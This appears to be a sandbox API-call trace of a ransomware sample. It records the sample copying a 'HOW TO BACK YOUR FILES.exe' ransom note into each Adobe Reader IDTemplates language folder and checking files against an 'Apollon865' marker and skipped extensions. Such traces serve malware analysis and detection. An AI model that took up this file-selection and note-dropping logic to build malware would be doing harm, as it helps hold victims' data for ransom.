	[0060.268] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR"
	[0060.268] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0060.269] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\tur\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0060.275] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0060.276] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x809de900, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x3bff5390, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3bff5390, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca350
	[0060.276] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0060.276] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0060.276] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="AdobeID.pdf" | out: lpString1="AdobeID.pdf") returned="AdobeID.pdf"
	[0060.276] lstrlenW (lpString="AdobeID.pdf") returned 11
	[0060.276] lstrlenW (lpString="Apollon865") returned 10
	[0060.276] lstrcmpiW (lpString1="dobeID.pdf", lpString2="Apollon865") returned 1
	[0060.276] lstrlenW (lpString=".dll") returned 4
	[0060.276] lstrcmpiW (lpString1="AdobeID.pdf", lpString2=".dll") returned 1
	[0060.276] lstrlenW (lpString=".lnk") returned 4
	[0060.276] lstrcmpiW (lpString1="AdobeID.pdf", lpString2=".lnk") returned 1
	[0060.276] lstrlenW (lpString=".ini") returned 4
	[0060.276] lstrcmpiW (lpString1="AdobeID.pdf", lpString2=".ini") returned 1
	[0060.276] lstrlenW (lpString=".sys") returned 4
	[0060.276] lstrcmpiW (lpString1="AdobeID.pdf", lpString2=".sys") returned 1
	[0060.276] lstrlenW (lpString="AdobeID.pdf") returned 11
	[0060.276] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="DefaultID.pdf" | out: lpString1="DefaultID.pdf") returned="DefaultID.pdf"
	[0060.276] lstrlenW (lpString="DefaultID.pdf") returned 13
	[0060.276] lstrlenW (lpString="Apollon865") returned 10
	[0060.276] lstrcmpiW (lpString1="aultID.pdf", lpString2="Apollon865") returned 1
	[0060.276] lstrlenW (lpString=".dll") returned 4
	[0060.276] lstrcmpiW (lpString1="DefaultID.pdf", lpString2=".dll") returned 1
	[0060.276] lstrlenW (lpString=".lnk") returned 4
	[0060.277] lstrcmpiW (lpString1="DefaultID.pdf", lpString2=".lnk") returned 1
	[0060.277] lstrlenW (lpString=".ini") returned 4
	[0060.277] lstrcmpiW (lpString1="DefaultID.pdf", lpString2=".ini") returned 1
	[0060.277] lstrlenW (lpString=".sys") returned 4
	[0060.277] lstrcmpiW (lpString1="DefaultID.pdf", lpString2=".sys") returned 1
	[0060.277] lstrlenW (lpString="DefaultID.pdf") returned 13
	[0060.277] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE"
	[0060.277] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c0228 | out: hHeap=0x580000) returned 1
	[0060.277] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fd48 | out: hHeap=0x580000) returned 1
	[0060.277] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE") returned 63
	[0060.277] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE"
	[0060.277] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0060.277] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\sve\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0060.283] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0060.283] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x805da3e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x3c01b4f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3c01b4f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca350
	[0060.283] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0060.283] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0060.283] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="AdobeID.pdf" | out: lpString1="AdobeID.pdf") returned="AdobeID.pdf"
	[0060.283] lstrlenW (lpString="AdobeID.pdf") returned 11
	[0060.283] lstrlenW (lpString="Apollon865") returned 10
	[0060.283] lstrcmpiW (lpString1="dobeID.pdf", lpString2="Apollon865") returned 1
	[0060.283] lstrlenW (lpString=".dll") returned 4
	[0060.283] lstrcmpiW (lpString1="AdobeID.pdf", lpString2=".dll") returned 1
	[0060.283] lstrlenW (lpString=".lnk") returned 4
	[0060.284] lstrcmpiW (lpString1="AdobeID.pdf", lpString2=".lnk") returned 1
	[0060.284] lstrlenW (lpString=".ini") returned 4
	[0060.284] lstrcmpiW (lpString1="AdobeID.pdf", lpString2=".ini") returned 1
	[0060.284] lstrlenW (lpString=".sys") returned 4
	[0060.284] lstrcmpiW (lpString1="AdobeID.pdf", lpString2=".sys") returned 1
	[0060.284] lstrlenW (lpString="AdobeID.pdf") returned 11
	[0060.284] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="DefaultID.pdf" | out: lpString1="DefaultID.pdf") returned="DefaultID.pdf"
	[0060.284] lstrlenW (lpString="DefaultID.pdf") returned 13
	[0060.284] lstrlenW (lpString="Apollon865") returned 10
	[0060.284] lstrcmpiW (lpString1="aultID.pdf", lpString2="Apollon865") returned 1
	[0060.284] lstrlenW (lpString=".dll") returned 4
	[0060.284] lstrcmpiW (lpString1="DefaultID.pdf", lpString2=".dll") returned 1
	[0060.284] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO"
	[0060.284] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c01a0 | out: hHeap=0x580000) returned 1
	[0060.284] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fd88 | out: hHeap=0x580000) returned 1
	[0060.284] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO") returned 63
	[0060.284] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO"
	[0060.284] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0060.284] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\suo\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0060.290] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0060.290] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x805b4280, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x3c01b4f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3c01b4f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca350
	[0060.290] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0060.290] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0060.290] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="AdobeID.pdf" | out: lpString1="AdobeID.pdf") returned="AdobeID.pdf"
	[0060.290] lstrlenW (lpString="AdobeID.pdf") returned 11
	[0060.290] lstrlenW (lpString="Apollon865") returned 10
	[0060.290] lstrcmpiW (lpString1="dobeID.pdf", lpString2="Apollon865") returned 1
	[0060.291] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="DefaultID.pdf" | out: lpString1="DefaultID.pdf") returned="DefaultID.pdf"
	[0060.291] lstrlenW (lpString="DefaultID.pdf") returned 13
	[0060.291] lstrlenW (lpString="Apollon865") returned 10
	[0060.291] lstrcmpiW (lpString1="aultID.pdf", lpString2="Apollon865") returned 1
	[0060.291] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV"
	[0060.291] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c0118 | out: hHeap=0x580000) returned 1
	[0060.291] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fd68 | out: hHeap=0x580000) returned 1
	[0060.291] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV") returned 63
	[0060.291] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV"
	[0060.291] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0060.291] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\slv\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0060.299] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0060.299] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a04a60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x3c041650, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3c041650, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca350
	[0060.299] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0060.299] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0060.299] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="AdobeID.pdf" | out: lpString1="AdobeID.pdf") returned="AdobeID.pdf"
	[0060.299] lstrlenW (lpString="AdobeID.pdf") returned 11
	[0060.299] lstrlenW (lpString="Apollon865") returned 10
	[0060.299] lstrcmpiW (lpString1="dobeID.pdf", lpString2="Apollon865") returned 1
	[0060.299] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="DefaultID.pdf" | out: lpString1="DefaultID.pdf") returned="DefaultID.pdf"
	[0060.299] lstrlenW (lpString="DefaultID.pdf") returned 13
	[0060.299] lstrlenW (lpString="Apollon865") returned 10
	[0060.299] lstrcmpiW (lpString1="aultID.pdf", lpString2="Apollon865") returned 1
	[0060.299] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY"
	[0060.300] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c0090 | out: hHeap=0x580000) returned 1
	[0060.300] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fc68 | out: hHeap=0x580000) returned 1
	[0060.300] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY") returned 63
	[0060.300] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY"
	[0060.300] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0060.300] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\sky\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0060.309] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0060.309] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a04a60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x3c041650, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3c041650, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca350
	[0060.310] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0060.310] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0060.310] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="AdobeID.pdf" | out: lpString1="AdobeID.pdf") returned="AdobeID.pdf"
	[0060.310] lstrlenW (lpString="AdobeID.pdf") returned 11
	[0060.310] lstrlenW (lpString="Apollon865") returned 10
	[0060.310] lstrcmpiW (lpString1="dobeID.pdf", lpString2="Apollon865") returned 1
	[0060.310] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="DefaultID.pdf" | out: lpString1="DefaultID.pdf") returned="DefaultID.pdf"
	[0060.310] lstrlenW (lpString="DefaultID.pdf") returned 13
	[0060.310] lstrlenW (lpString="Apollon865") returned 10
	[0060.310] lstrcmpiW (lpString1="aultID.pdf", lpString2="Apollon865") returned 1
	[0060.310] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS"
	[0060.310] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c0008 | out: hHeap=0x580000) returned 1
	[0060.310] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fc48 | out: hHeap=0x580000) returned 1
	[0060.310] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS") returned 63
	[0060.310] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS"
	[0060.310] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0060.310] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\rus\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0060.334] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0060.334] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a04a60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x3c0677b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3c0677b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca350
	[0060.334] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0060.334] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0060.334] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="AdobeID.pdf" | out: lpString1="AdobeID.pdf") returned="AdobeID.pdf"
	[0060.334] lstrlenW (lpString="AdobeID.pdf") returned 11
	[0060.334] lstrlenW (lpString="Apollon865") returned 10
	[0060.334] lstrcmpiW (lpString1="dobeID.pdf", lpString2="Apollon865") returned 1
	[0060.334] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="DefaultID.pdf" | out: lpString1="DefaultID.pdf") returned="DefaultID.pdf"
	[0060.334] lstrlenW (lpString="DefaultID.pdf") returned 13
	[0060.334] lstrlenW (lpString="Apollon865") returned 10
	[0060.334] lstrcmpiW (lpString1="aultID.pdf", lpString2="Apollon865") returned 1
	[0060.334] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM"
	[0060.334] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bff80 | out: hHeap=0x580000) returned 1
	[0060.334] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fc28 | out: hHeap=0x580000) returned 1
	[0060.334] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM") returned 63
	[0060.334] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM"
	[0060.335] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0060.335] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\rum\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0060.339] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0060.339] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a2abc0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x3c08d910, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3c08d910, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca350
	[0060.339] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0060.339] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0060.339] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="AdobeID.pdf" | out: lpString1="AdobeID.pdf") returned="AdobeID.pdf"
	[0060.339] lstrlenW (lpString="AdobeID.pdf") returned 11
	[0060.339] lstrlenW (lpString="Apollon865") returned 10
	[0060.339] lstrcmpiW (lpString1="dobeID.pdf", lpString2="Apollon865") returned 1
	[0060.339] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="DefaultID.pdf" | out: lpString1="DefaultID.pdf") returned="DefaultID.pdf"
	[0060.339] lstrlenW (lpString="DefaultID.pdf") returned 13
	[0060.339] lstrlenW (lpString="Apollon865") returned 10
	[0060.339] lstrcmpiW (lpString1="aultID.pdf", lpString2="Apollon865") returned 1
	[0060.339] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB"
	[0060.339] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf568 | out: hHeap=0x580000) returned 1
	[0060.339] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7c08 | out: hHeap=0x580000) returned 1
	[0060.339] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB") returned 63
	[0060.339] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB"
	[0060.339] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0060.339] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\ptb\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0060.347] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0060.347] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x805b4280, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x3c0b3a70, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3c0b3a70, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca350
	[0060.348] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0060.348] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0060.348] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="AdobeID.pdf" | out: lpString1="AdobeID.pdf") returned="AdobeID.pdf"
	[0060.348] lstrlenW (lpString="AdobeID.pdf") returned 11
	[0060.348] lstrlenW (lpString="Apollon865") returned 10
	[0060.348] lstrcmpiW (lpString1="dobeID.pdf", lpString2="Apollon865") returned 1
	[0060.348] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="DefaultID.pdf" | out: lpString1="DefaultID.pdf") returned="DefaultID.pdf"
	[0060.348] lstrlenW (lpString="DefaultID.pdf") returned 13
	[0060.348] lstrlenW (lpString="Apollon865") returned 10
	[0060.348] lstrcmpiW (lpString1="aultID.pdf", lpString2="Apollon865") returned 1
